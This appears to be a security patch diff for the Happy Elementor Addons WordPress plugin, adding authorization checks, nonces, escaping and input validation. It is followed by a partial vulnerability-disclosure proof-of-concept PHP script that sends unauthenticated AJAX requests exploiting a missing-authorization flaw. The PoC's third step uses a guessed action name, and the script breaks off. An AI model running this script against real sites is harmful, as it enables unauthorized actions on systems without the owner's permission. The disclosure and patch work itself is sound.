$editor_post_id = absint( $data['editor_post_id'] );
- if ( ! get_post( $editor_post_id ) ) {
+ if ( ! get_post( $editor_post_id ) || ! current_user_can( 'edit_post', $editor_post_id ) ) {
throw new Exception( __( 'Post not found', 'happy-elementor-addons' ) );
}
--- a/happy-elementor-addons/classes/notice.php
+++ b/happy-elementor-addons/classes/notice.php
@@ -60,8 +60,8 @@
$exclude = ['themes.php', 'users.php', 'tools.php', 'options-general.php', 'options-writing.php', 'options-reading.php', 'options-discussion.php', 'options-media.php', 'options-permalink.php', 'options-privacy.php', 'edit-comments.php', 'upload.php', 'media-new.php', 'admin.php', 'import.php', 'export.php', 'site-health.php', 'export-personal-data.php', 'erase-personal-data.php'];
if ( ! in_array( $pagenow, $exclude ) ) {
- $no_thanks = esc_url( add_query_arg( 'ha_not_interested', '1', self::ha_current_admin_url() ) );
- $participated = esc_url( add_query_arg( 'ha_participated', '1', self::ha_current_admin_url() ) );
+ $no_thanks = esc_url( wp_nonce_url( add_query_arg( 'ha_not_interested', '1', self::ha_current_admin_url() ), 'ha_notice_dismiss' ) );
+ $participated = esc_url( wp_nonce_url( add_query_arg( 'ha_participated', '1', self::ha_current_admin_url() ), 'ha_notice_dismiss' ) );
printf( __( '<div class="notice ha-review-notice ha-review-notice--extended">
<div class="ha-review-notice__aside">
@@ -81,22 +81,21 @@
// remove the notice if the user does not want to
public static function ha_void_spare_me() {
- if ( isset( $_GET['ha_not_interested'] ) && ! empty( $_GET['ha_not_interested'] ) ) {
- $spare_me = absint( $_GET['ha_not_interested'] );
- // if ( 1 == $spare_me ) {
- // update_option( 'ha__black_friday_24_notice', 'not_interested' );
- // }
- if ( 1 == $spare_me ) {
- update_option( 'ha__wedevs_12th_anniversary_notice', 'not_interested' );
- }
+ $has_action = isset( $_GET['ha_not_interested'] ) || isset( $_GET['ha_participated'] );
+
+ if ( ! $has_action ) {
+ return;
+ }
+
+ if ( ! current_user_can( 'manage_options' ) ) {
+ return;
}
- // if ( isset( $_GET['ha_participated'] ) && ! empty( $_GET['ha_participated'] ) ) {
- // $ha_rated = absint($_GET['ha_participated']);
- // if ( 1 == $ha_rated ) {
- // update_option( 'ha__user_feedback_survey', "participated" );
- // }
- // }
+ check_admin_referer( 'ha_notice_dismiss' );
+
+ if ( isset( $_GET['ha_not_interested'] ) && 1 == absint( $_GET['ha_not_interested'] ) ) {
+ update_option( 'ha__wedevs_12th_anniversary_notice', 'not_interested' );
+ }
}
protected static function ha_current_admin_url() {
--- a/happy-elementor-addons/classes/review.php
+++ b/happy-elementor-addons/classes/review.php
@@ -39,9 +39,9 @@
$exclude = [ 'themes.php', 'users.php', 'tools.php', 'options-general.php', 'options-writing.php', 'options-reading.php', 'options-discussion.php', 'options-media.php', 'options-permalink.php', 'options-privacy.php', 'edit-comments.php', 'upload.php', 'media-new.php', 'admin.php', 'import.php', 'export.php', 'site-health.php', 'export-personal-data.php', 'erase-personal-data.php' ];
if ( ! in_array( $pagenow, $exclude ) ) {
- $dont_disturb = esc_url( add_query_arg( 'spare_me', '1', self::ha_current_admin_url() ) );
- $remind_me = esc_url( add_query_arg( 'remind_me', '1', self::ha_current_admin_url() ) );
- $rated = esc_url( add_query_arg( 'ha_rated', '1', self::ha_current_admin_url() ) );
+ $dont_disturb = esc_url( wp_nonce_url( add_query_arg( 'spare_me', '1', self::ha_current_admin_url() ), 'ha_review_notice' ) );
+ $remind_me = esc_url( wp_nonce_url( add_query_arg( 'remind_me', '1', self::ha_current_admin_url() ), 'ha_review_notice' ) );
+ $rated = esc_url( wp_nonce_url( add_query_arg( 'ha_rated', '1', self::ha_current_admin_url() ), 'ha_review_notice' ) );
$reviewurl = esc_url( 'https://wordpress.org/support/plugin/happy-elementor-addons/reviews/?rate=5#new-post' );
printf( __( '<div class="notice ha-review-notice ha-review-notice--extended">
@@ -64,28 +64,31 @@
// remove the notice for the user if review already done or if the user does not want to
public static function ha_void_spare_me() {
- if ( isset( $_GET['spare_me'] ) && ! empty( $_GET['spare_me'] ) ) {
- $spare_me = absint($_GET['spare_me']);
- if ( 1 == $spare_me ) {
- update_option( 'ha__spare_me', "1" );
- }
- }
-
- if ( isset( $_GET['remind_me'] ) && ! empty( $_GET['remind_me'] ) ) {
- $remind_me = absint($_GET['remind_me']);
- if ( 1 == $remind_me ) {
- $get_activation_time = strtotime( "now" );
- update_option( 'ha__remind_me', $get_activation_time );
- update_option( 'ha__spare_me', "2" );
- }
- }
-
- if ( isset( $_GET['ha_rated'] ) && ! empty( $_GET['ha_rated'] ) ) {
- $ha_rated = absint($_GET['ha_rated']);
- if ( 1 == $ha_rated ) {
- update_option( 'ha__rated', 'yes' );
- update_option( 'ha__spare_me', "3" );
- }
+ $has_action = isset( $_GET['spare_me'] ) || isset( $_GET['remind_me'] ) || isset( $_GET['ha_rated'] );
+
+ if ( ! $has_action ) {
+ return;
+ }
+
+ if ( ! current_user_can( 'manage_options' ) ) {
+ return;
+ }
+
+ check_admin_referer( 'ha_review_notice' );
+
+ if ( isset( $_GET['spare_me'] ) && 1 == absint( $_GET['spare_me'] ) ) {
+ update_option( 'ha__spare_me', "1" );
+ }
+
+ if ( isset( $_GET['remind_me'] ) && 1 == absint( $_GET['remind_me'] ) ) {
+ $get_activation_time = strtotime( "now" );
+ update_option( 'ha__remind_me', $get_activation_time );
+ update_option( 'ha__spare_me', "2" );
+ }
+
+ if ( isset( $_GET['ha_rated'] ) && 1 == absint( $_GET['ha_rated'] ) ) {
+ update_option( 'ha__rated', 'yes' );
+ update_option( 'ha__spare_me', "3" );
}
}
--- a/happy-elementor-addons/classes/select2-handler.php
+++ b/happy-elementor-addons/classes/select2-handler.php
@@ -160,7 +160,7 @@
include_once HAPPY_ADDONS_DIR_PATH . 'widgets/mailchimp/mailchimp-api.php';
}
- $options = WidgetMailchimpMailchimp_Api::get_mailchimp_lists($current_api);
+ $options = Happy_AddonsElementorWidgetMailchimpMailchimp_Api::get_mailchimp_lists($current_api);
if ( ! is_array( $options ) ) {
$options = [];
--- a/happy-elementor-addons/classes/theme-builder.php
+++ b/happy-elementor-addons/classes/theme-builder.php
@@ -377,7 +377,7 @@
$post_type_object = get_post_type_object( $post_type );
- if ( !current_user_can( $post_type_object->cap->edit_posts ) ) {
+ if ( ! $post_type_object || ! current_user_can( $post_type_object->cap->edit_posts ) ) {
return;
}
--- a/happy-elementor-addons/inc/functions.php
+++ b/happy-elementor-addons/inc/functions.php
@@ -733,8 +733,45 @@
return wp_trim_words(get_the_excerpt($post_id), $length);
}
+/**
+ * Normalize a Twitter/X screen name for API requests and cache keys.
+ *
+ * @param string $name
+ * @return string Normalized screen name, or empty string when invalid.
+ */
+function ha_twitter_feed_normalize_screen_name( $name ) {
+ $name = trim( (string) $name );
+
+ if ( ! preg_match( '/^[A-Za-z0-9_]{1,15}$/', $name ) ) {
+ return '';
+ }
+
+ return $name;
+}
+
+/**
+ * Whether an ID points to a published Elementor library template that is
+ * safe to render on the front end.
+ *
+ * @param int|string $id
+ * @return bool
+ */
+function ha_is_renderable_template( $id ) {
+ $id = absint( $id );
+
+ if ( ! $id ) {
+ return false;
+ }
+
+ return 'publish' === get_post_status( $id ) && 'elementor_library' === get_post_type( $id );
+}
+
function ha_sanitize_array_recursively($array) {
+ if ( ! is_array( $array ) ) {
+ return sanitize_text_field( (string) $array );
+ }
+
foreach ($array as $key => &$value) {
if (is_array($value)) {
$value = ha_sanitize_array_recursively($value);
--- a/happy-elementor-addons/plugin.php
+++ b/happy-elementor-addons/plugin.php
@@ -4,7 +4,7 @@
* Plugin Name: Happy Elementor Addons
* Plugin URI: https://happyaddons.com/
* Description: <a href="https://happyaddons.com/">Happy Addons for Elementor</a> Is the Best Elementor Addons Comes With 44+ Free Elementor Widgets Including Table Builder, Testimonial, Event Calendar,Slider,News Ticker, Image Grid, etc & Features Like Elementor Equal Height, Text Stroke, Shape Dividers, Floating Effect, Grid Layout, 500+ Elementor Icons, 450+ Template Packs & More.
- * Version: 3.51.3
+ * Version: 3.52.0
* Author: Leevio
* Author URI: https://happyaddons.com/
* Elementor tested up to: 4.4
@@ -39,9 +39,9 @@
if ( defined( 'HAPPY_ADDONS_DEV' ) && true == HAPPY_ADDONS_DEV ) {
- define('HAPPY_ADDONS_VERSION', '3.51.3' . time() );
+ define('HAPPY_ADDONS_VERSION', '3.52.0' . time() );
} else {
- define( 'HAPPY_ADDONS_VERSION', '3.51.3' );
+ define( 'HAPPY_ADDONS_VERSION', '3.52.0' );
}
define('HAPPY_ADDONS__FILE__', __FILE__);
define('HAPPY_ADDONS_DIR_PATH', plugin_dir_path(HAPPY_ADDONS__FILE__));
--- a/happy-elementor-addons/traits/creative-button-markup.php
+++ b/happy-elementor-addons/traits/creative-button-markup.php
@@ -20,7 +20,7 @@
$wrap_attr = $this->get_render_attribute_string( 'wrap' );
$btn_attr = $this->get_render_attribute_string( 'button' );
- $btn_txt = $settings['button_text'];
+ $btn_txt = esc_html( $settings['button_text'] );
// $magnatic_datajk = $this->$magnatic_data;
$markup = <<<EOF
@@ -39,7 +39,7 @@
$wrap_attr = $this->get_render_attribute_string( 'wrap' );
$btn_attr = $this->get_render_attribute_string( 'button' );
- $btn_txt = $settings['button_text'];
+ $btn_txt = esc_html( $settings['button_text'] );
$icon = $settings['icon']['value'] ? esc_attr( $settings['icon']['value'] ) : 'hm hm-happyaddons';
$markup = <<<EOF
@@ -58,7 +58,7 @@
$wrap_attr = $this->get_render_attribute_string( 'wrap' );
$btn_attr = $this->get_render_attribute_string( 'button' );
- $btn_txt = $settings['button_text'];
+ $btn_txt = esc_html( $settings['button_text'] );
$icon = $settings['icon']['value'] ? esc_attr( $settings['icon']['value'] ) : 'hm hm-happyaddons';
$markup = <<<EOF
@@ -86,6 +86,8 @@
$btn_txt = '<span>'.esc_html($btn_txt).'</span>';
}elseif('nina' == $settings['montino_effect']){
$btn_txt = $this->split_word($btn_txt);
+ }else{
+ $btn_txt = esc_html($btn_txt);
}
$markup = <<<EOF
@@ -116,6 +118,8 @@
} elseif ( 'expandable' == $settings['hermosa_effect'] ) {
$icon = $settings['icon']['value'] ? $settings['icon']['value'] : 'hm hm-happyaddons';
$btn_txt = '<span class="text">'.esc_html($btn_txt).'</span><span class="icon"><i aria-hidden="true" class="'.esc_attr($icon).'"></i></span>';
+ } else {
+ $btn_txt = esc_html($btn_txt);
}
$markup = <<<EOF
@@ -133,7 +137,7 @@
foreach ( $text_array as $key => $value ) {
$delay = $base * ($key+1);
if(trim($value)){
- $markup .= '<span style="--delay:'.$delay.'s">'.$value.'</span>';
+ $markup .= '<span style="--delay:'.$delay.'s">'.esc_html($value).'</span>';
}else{
$markup .= '<span> </span>';
}
--- a/happy-elementor-addons/widgets/age-gate/widget.php
+++ b/happy-elementor-addons/widgets/age-gate/widget.php
@@ -2037,7 +2037,7 @@
<div class="ha-age-gate-header">
<?php if(!empty($settings['warning_message'])): ?>
- <div class="ha-age-gate-warning-msg"><?php echo $settings['warning_message'] ?></div>
+ <div class="ha-age-gate-warning-msg"><?php echo ha_kses_intermediate( $settings['warning_message'] ); ?></div>
<?php endif; ?>
<?php if( !empty($settings['header_img']['url']) ): ?>
--- a/happy-elementor-addons/widgets/archive-posts/widget.php
+++ b/happy-elementor-addons/widgets/archive-posts/widget.php
@@ -1173,7 +1173,7 @@
$this->get_pagination($this->query);
} else {
- echo $this->settings['nothing_found_message'];
+ echo ha_kses_intermediate( $this->settings['nothing_found_message'] );
}
}
--- a/happy-elementor-addons/widgets/card/widget.php
+++ b/happy-elementor-addons/widgets/card/widget.php
@@ -1214,7 +1214,7 @@
<figure class="ha-card-figure">
<img class="elementor-animation-{{settings.hover_animation}}" src="{{ image_url }}">
<# if (settings.badge_text) { #>
- <div {{{ view.getRenderAttributeString( 'badge_text' ) }}}>{{{ settings.badge_text }}}</div>
+ <div {{{ view.getRenderAttributeString( 'badge_text' ) }}}>{{ settings.badge_text }}</div>
<# } #>
</figure>
<# } #>
@@ -1222,12 +1222,12 @@
<div class="ha-card-body">
<# if (settings.title) { #>
<# var title_tag = elementor.helpers.validateHTMLTag( settings.title_tag ); #>
- <{{ title_tag }} {{{ view.getRenderAttributeString( 'title' ) }}}>{{{ settings.title }}}</{{ title_tag }}>
+ <{{ title_tag }} {{{ view.getRenderAttributeString( 'title' ) }}}>{{ settings.title }}</{{ title_tag }}>
<# } #>
<# if (settings.description) { #>
<div {{{ view.getRenderAttributeString( 'description' ) }}}>
- <p>{{{ settings.description }}}</p>
+ <p>{{ settings.description }}</p>
</div>
<# } #>
--- a/happy-elementor-addons/widgets/content-switcher/widget.php
+++ b/happy-elementor-addons/widgets/content-switcher/widget.php
@@ -1253,13 +1253,13 @@
<?php
if ( $item['content_type'] == 'plain_content' ) {
echo ha_kses_intermediate( $item['plain_content'] );
- } elseif ( $item['content_type'] == 'saved_section' && 'publish' == get_post_status( $item['saved_section'] ) ) {
+ } elseif ( $item['content_type'] == 'saved_section' && ha_is_renderable_template( $item['saved_section'] ) ) {
$item['saved_section'] = apply_filters('wpml_object_id', $item['saved_section'], 'elementor_library');
echo ha_elementor()->frontend->get_builder_content_for_display( $item['saved_section'] );
- } elseif ( $item['content_type'] == 'saved_container' && 'publish' == get_post_status( $item['saved_container'] ) ) {
+ } elseif ( $item['content_type'] == 'saved_container' && ha_is_renderable_template( $item['saved_container'] ) ) {
$item['saved_container'] = apply_filters('wpml_object_id', $item['saved_container'], 'elementor_library');
echo ha_elementor()->frontend->get_builder_content_for_display( $item['saved_container'] );
- } elseif ( $item['content_type'] == 'saved_page' && 'publish' == get_post_status( $item['saved_pages'] ) ) {
+ } elseif ( $item['content_type'] == 'saved_page' && ha_is_renderable_template( $item['saved_pages'] ) ) {
$item['saved_pages'] = apply_filters('wpml_object_id', $item['saved_pages'], 'elementor_library');
echo ha_elementor()->frontend->get_builder_content_for_display( $item['saved_pages'] );
}
@@ -1273,13 +1273,13 @@
<?php
if ( $primary['content_type'] == 'plain_content' ) {
echo ha_kses_intermediate( $primary['plain_content'] );
- } elseif ( $primary['content_type'] == 'saved_section' && 'publish' == get_post_status( $primary['saved_section'] ) ) {
+ } elseif ( $primary['content_type'] == 'saved_section' && ha_is_renderable_template( $primary['saved_section'] ) ) {
$primary['saved_section'] = apply_filters('wpml_object_id', $primary['saved_section'], 'elementor_library');
echo ha_elementor()->frontend->get_builder_content_for_display( $primary['saved_section'] );
- } elseif ( $primary['content_type'] == 'saved_container' && 'publish' == get_post_status( $primary['saved_container'] ) ) {
+ } elseif ( $primary['content_type'] == 'saved_container' && ha_is_renderable_template( $primary['saved_container'] ) ) {
$primary['saved_container'] = apply_filters('wpml_object_id', $primary['saved_container'], 'elementor_library');
echo ha_elementor()->frontend->get_builder_content_for_display( $primary['saved_container'] );
- } elseif ( $primary['content_type'] == 'saved_page' && 'publish' == get_post_status( $primary['saved_pages'] ) ) {
+ } elseif ( $primary['content_type'] == 'saved_page' && ha_is_renderable_template( $primary['saved_pages'] ) ) {
$primary['saved_pages'] = apply_filters('wpml_object_id', $primary['saved_pages'], 'elementor_library');
echo ha_elementor()->frontend->get_builder_content_for_display( $primary['saved_pages'] );
}
@@ -1290,13 +1290,13 @@
<?php
if ( $secondary['content_type'] == 'plain_content' ) {
echo ha_kses_intermediate( $secondary['plain_content'] );
- } elseif ( $secondary['content_type'] == 'saved_section' && 'publish' == get_post_status( $secondary['saved_section'] ) ) {
+ } elseif ( $secondary['content_type'] == 'saved_section' && ha_is_renderable_template( $secondary['saved_section'] ) ) {
$secondary['saved_section'] = apply_filters('wpml_object_id', $secondary['saved_section'], 'elementor_library');
echo ha_elementor()->frontend->get_builder_content_for_display( $secondary['saved_section'] );
- } elseif ( $secondary['content_type'] == 'saved_container' && 'publish' == get_post_status( $secondary['saved_container'] ) ) {
+ } elseif ( $secondary['content_type'] == 'saved_container' && ha_is_renderable_template( $secondary['saved_container'] ) ) {
$secondary['saved_container'] = apply_filters('wpml_object_id', $secondary['saved_container'], 'elementor_library');
echo ha_elementor()->frontend->get_builder_content_for_display( $secondary['saved_container'] );
- } elseif ( $secondary['content_type'] == 'saved_page' && 'publish' == get_post_status( $secondary['saved_pages'] ) ) {
+ } elseif ( $secondary['content_type'] == 'saved_page' && ha_is_renderable_template( $secondary['saved_pages'] ) ) {
$secondary['saved_pages'] = apply_filters('wpml_object_id', $secondary['saved_pages'], 'elementor_library');
echo ha_elementor()->frontend->get_builder_content_for_display( $secondary['saved_pages'] );
}
--- a/happy-elementor-addons/widgets/event-calendar/widget.php
+++ b/happy-elementor-addons/widgets/event-calendar/widget.php
@@ -1811,7 +1811,7 @@
if ( $data ) :?>
<div <?php $this->print_render_attribute_string( 'wrapper' ); ?>>
- <script> window['HaECjson<?php echo esc_html( $this->get_id() );?>'] = <?php echo json_encode( $data ); ?>; </script>
+ <script> window['HaECjson<?php echo esc_html( $this->get_id() );?>'] = <?php echo wp_json_encode( $data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT ); ?>; </script>
<div <?php $this->print_render_attribute_string( 'event-calendar' ); ?>></div>
</div>
--- a/happy-elementor-addons/widgets/gradient-heading/widget.php
+++ b/happy-elementor-addons/widgets/gradient-heading/widget.php
@@ -278,7 +278,7 @@
console.log( HA_gradient_heading_sanitizeURL( settings.link.url ) );
<!-- var title = _.isEmpty(settings.link.url) ? settings.title : '<a href="' + _.escape( settings.link.url ) + '">'+settings.title+'</a>'; -->
- var title = _.isEmpty(settings.link.url) ? settings.title : '<a href="' + HA_gradient_heading_sanitizeURL( settings.link.url ) + '">'+settings.title+'</a>';
+ var title = _.isEmpty(settings.link.url) ? _.escape( settings.title ) : '<a href="' + HA_gradient_heading_sanitizeURL( settings.link.url ) + '">' + _.escape( settings.title ) + '</a>';
var title_tag = elementor.helpers.validateHTMLTag( settings.title_tag );
#>
<{{ title_tag }} {{{ view.getRenderAttributeString( 'title' ) }}}>{{{ title }}}</{{ title_tag }}>
--- a/happy-elementor-addons/widgets/mailchimp/mailchimp-api.php
+++ b/happy-elementor-addons/widgets/mailchimp/mailchimp-api.php
@@ -25,11 +25,59 @@
public static function insert_subscriber_to_mailchimp( $submitted_data ) {
$return = [];
+ // Rate limit: allow only a few submissions per minute per IP.
+ $rate_key = 'ha_mc_rl_' . md5( isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : '' );
+ $attempts = (int) get_transient( $rate_key );
+ if ( $attempts >= 10 ) {
+ return [
+ 'status' => 0,
+ 'msg' => esc_html__( 'Too many requests. Please wait a minute and try again.', 'happy-elementor-addons' ),
+ ];
+ }
+ set_transient( $rate_key, $attempts + 1, MINUTE_IN_SECONDS );
+
+ if ( empty( $submitted_data['email'] ) || ! is_email( $submitted_data['email'] ) ) {
+ return [
+ 'status' => 0,
+ 'msg' => esc_html__( 'Please enter a valid email address.', 'happy-elementor-addons' ),
+ ];
+ }
+
self::$credentials = ha_get_credentials( 'mailchimp' );
self::$api_key = isset( self::$credentials['api'] ) ? self::$credentials['api'] : '';
- $widget_settings = ha_get_ele_widget_settings( absint($_POST['post_id']), sanitize_text_field($_POST['widget_id']) );
+ // Never trust the client with the audience id: resolve the widget
+ // saved on this site and use the audience configured in its settings.
+ $post_id = isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0;
+ $widget_id = isset( $_POST['widget_id'] ) ? sanitize_text_field( wp_unslash( $_POST['widget_id'] ) ) : '';
+
+ // Only published content may subscribe anonymously; users who can
+ // edit the post may still test the form from a draft preview.
+ if ( ! $post_id || ( 'publish' !== get_post_status( $post_id ) && ! current_user_can( 'edit_post', $post_id ) ) ) {
+ return [
+ 'status' => 0,
+ 'msg' => esc_html__( 'Invalid request.', 'happy-elementor-addons' ),
+ ];
+ }
+
+ $widget_settings = $widget_id ? ha_get_ele_widget_settings( $post_id, $widget_id ) : '';
+
+ $list_id = '';
+ if ( ! empty( $widget_settings['mailchimp_lists'] ) ) {
+ $lists = $widget_settings['mailchimp_lists'];
+ $list_id = is_array( $lists ) && isset( $lists[0] ) ? $lists[0] : $lists;
+ $list_id = ltrim( $list_id ); // Select2 saves ids with a leading space.
+ }
+
+ // Mailchimp audience ids are 32 hex characters; refuse anything
+ // else before it can reach the API url.
+ if ( ! preg_match( '/^[a-f0-9]{32}$/i', (string) $list_id ) ) {
+ return [
+ 'status' => 0,
+ 'msg' => esc_html__( 'Invalid request.', 'happy-elementor-addons' ),
+ ];
+ }
$tags = '';
if( !empty($widget_settings) ) {
@@ -39,7 +87,7 @@
$auth = [
'api_key' => self::$api_key,
- 'list_id' => sanitize_text_field($_POST['list_id']),
+ 'list_id' => $list_id,
];
if ( isset($widget_settings['mailchimp_api_choose']) && $widget_settings['mailchimp_api_choose'] == 'custom' ) {
@@ -88,15 +136,17 @@
$return['status'] = 0;
$return['msg'] = 'Something went wrong: ' . esc_html( $error_message );
} else {
- $body = (array) json_decode( $response['body'] );
- $return['body'] = $body;
- if ( $body['status'] > 399 && $body['status'] < 600 ) {
+ $body = json_decode( wp_remote_retrieve_body( $response ), true );
+ $body = is_array( $body ) ? $body : [];
+ $status = isset( $body['status'] ) ? $body['status'] : '';
+
+ if ( is_int( $status ) && $status > 399 && $status < 600 ) {
$return['status'] = 0;
- $return['msg'] = $body['title'];
- } elseif ( $body['status'] == 'subscribed' ) {
+ $return['msg'] = isset( $body['title'] ) ? sanitize_text_field( $body['title'] ) : esc_html__( 'Something went wrong. Try again later.', 'happy-elementor-addons' );
+ } elseif ( $status === 'subscribed' ) {
$return['status'] = 1;
$return['msg'] = isset($widget_settings['mailchimp_success_message']) ? $widget_settings['mailchimp_success_message']: "";
- } elseif ( $body['status'] == 'pending' ) {
+ } elseif ( $status === 'pending' ) {
$return['status'] = 1;
$return['msg'] = esc_html__( 'Confirm your subscription from your email.', 'happy-elementor-addons' );
} else {
--- a/happy-elementor-addons/widgets/mailchimp/widget.php
+++ b/happy-elementor-addons/widgets/mailchimp/widget.php
@@ -1607,8 +1607,13 @@
$form_fields = ( ( $settings['enable_name'] == 'yes' || $settings['enable_phone'] == 'yes' ) ? 'multiple_form_fields' : '' );
$list_id = ( ( is_array( $settings['mailchimp_lists'] ) ) ? ( isset( $settings['mailchimp_lists'][0] ) ? ltrim( $settings['mailchimp_lists'][0] ) : '' ) : ( ltrim( $settings['mailchimp_lists'] ) ) );
+ // Use the document that actually holds this widget (header/footer
+ // templates, popups, loops) rather than the host page.
+ $document = ElementorPlugin::$instance->documents->get_current();
+ $post_id = $document ? $document->get_main_id() : get_the_ID();
+
?>
- <div class="ha-mailchimp-wrapper" data-post-id="<?php echo esc_attr( get_the_ID() ); ?>" data-widget-id="<?php echo esc_attr( $this->get_id() ); ?>">
+ <div class="ha-mailchimp-wrapper" data-post-id="<?php echo esc_attr( $post_id ); ?>" data-widget-id="<?php echo esc_attr( $this->get_id() ); ?>">
<?php if ( ElementorPlugin::$instance->editor->is_edit_mode() && $settings['mailchimp_success_message_show_in_editor'] == 'yes' ) : ?>
<div class="ha-mc-response-message success"><?php esc_html_e( 'This is a dummy message for success. This won't show in preview', 'happy-elementor-addons' ); ?></div>
<?php endif; ?>
--- a/happy-elementor-addons/widgets/member/widget.php
+++ b/happy-elementor-addons/widgets/member/widget.php
@@ -1775,10 +1775,10 @@
$template = false;
$template_id = 0;
if ( ! empty( $settings['saved_template_list'] ) && '0' != $settings['saved_template_list'] && 'no_template' != $settings['saved_template_list'] ) {
- $template_id = absint( $settings['saved_template_list'] );
- if ( $template_id && 'publish' === get_post_status( $template_id ) && 'elementor_library' === get_post_type( $template_id ) ) {
- $template = true;
- }
+ $template_id = absint( $settings['saved_template_list'] );
+ if ( ha_is_renderable_template( $template_id ) ) {
+ $template = true;
+ }
}
if ( $settings['show_lightbox'] && 'yes' === $settings['show_lightbox'] && $template ) :
$this->add_render_attribute( 'lightbox', 'class', 'ha-member-lightbox' );
@@ -1790,10 +1790,10 @@
<div class="ha-member-lightbox-close"><i aria-hidden="true" class="eicon-editor-close"></i></div>
<div class="ha-member-lightbox-inner">
<?php
- $saved_template_list = apply_filters( 'wpml_object_id', $template_id, 'elementor_library' );
- if ( $saved_template_list && 'publish' === get_post_status( $saved_template_list ) && 'elementor_library' === get_post_type( $saved_template_list ) ) {
- echo ElementorPlugin::$instance->frontend->get_builder_content_for_display( $saved_template_list );
- }
+ $saved_template_list = apply_filters( 'wpml_object_id', $template_id, 'elementor_library' );
+ if ( ha_is_renderable_template( $saved_template_list ) ) {
+ echo ElementorPlugin::$instance->frontend->get_builder_content_for_display( $saved_template_list );
+ }
?>
</div>
</div>
--- a/happy-elementor-addons/widgets/post-list/widget.php
+++ b/happy-elementor-addons/widgets/post-list/widget.php
@@ -1369,7 +1369,7 @@
if ( $settings['date_icon'] ) :
Icons_Manager::render_icon( $settings['date_icon'], [ 'aria-hidden' => 'true' ] );
endif;
- echo get_the_date( $date_format, $post->ID );
+ echo esc_html( get_the_date( $date_format, $post->ID ) );
?>
</span>
<?php endif; ?>
--- a/happy-elementor-addons/widgets/post-navigation/widget.php
+++ b/happy-elementor-addons/widgets/post-navigation/widget.php
@@ -576,8 +576,8 @@
$next_arrow = '';
if ('yes' === $settings['show_label']) {
- $prev_label = '<span class="post-navigation__prev--label">' . $settings['prev_label'] . '</span>';
- $next_label = '<span class="post-navigation__next--label">' . $settings['next_label'] . '</span>';
+ $prev_label = '<span class="post-navigation__prev--label">' . esc_html( $settings['prev_label'] ) . '</span>';
+ $next_label = '<span class="post-navigation__next--label">' . esc_html( $settings['next_label'] ) . '</span>';
}
if ('yes' === $settings['show_arrow']) {
--- a/happy-elementor-addons/widgets/post-tab/widget.php
+++ b/happy-elementor-addons/widgets/post-tab/widget.php
@@ -1000,7 +1000,9 @@
'excerpt' => $settings['excerpt'] ? $settings['excerpt'] : 'no',
'title_tag' => $settings['title_tag'],
];
- $query_settings = json_encode( $query_settings, true );
+
+ // Store the query settings server-side; the ajax handler must not accept them from the request.
+ set_transient( '_ha_post_tab_settings_cache_key_' . $this->get_id(), $query_settings, 7 * DAY_IN_SECONDS );
$event = 'click';
if ( 'hover' === $settings['event'] ) {
@@ -1014,7 +1016,7 @@
isset( $settings['column_mobile'] ) ? 'ha-post-tab-grid-mobile-' . $settings['column_mobile'] : 'ha-post-tab-grid-mobile-1',
];
$this->add_render_attribute( 'wrapper', 'class', $wrapper_class );
- $this->add_render_attribute( 'wrapper', 'data-query-args', $query_settings );
+
$this->add_render_attribute( 'wrapper', 'data-event', $event );
$this->add_render_attribute( 'tab-filter', 'class', [ 'ha-post-tab-filter ha-text--center' ] );
$this->add_render_attribute( 'tab-body', 'class', [ 'ha-post-tab-content' ] );
@@ -1082,7 +1084,7 @@
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125788 - HappyAddons for Elementor – 160 Elementor Widgets, GSAP Animations & Templates <= 3.51.3 - Missing Authorization
$target_url = 'http://example.com'; // Change to your WordPress site URL
// Step 1: Exploit ha_get_template_type without nonce to retrieve template type
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'ha_get_template_type',
'post_id' => '1' // Any post ID, e.g., a known template
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "Response from ha_get_template_type: " . $response . "n";
// Step 2: Exploit process_ignore_request without capability check
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'process_ignore_request',
'nonce' => 'any', // Nonce is not validated against user capability
'id' => 'some_attention_id'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "Response from process_ignore_request: " . $response . "n";
// Step 3: Exploit library-manager by setting editor_post_id to a post the attacker does not own
// This may require authentication as a low-privileged user.
// Example: send a request to the library manager endpoint with a forged editor_post_id.
// The exact endpoint depends on the plugin's implementation; here we assume an AJAX action.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'ha_library_manager', // hypothetical action name
'editor_post_id' => '2' // Post ID owned by another user
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
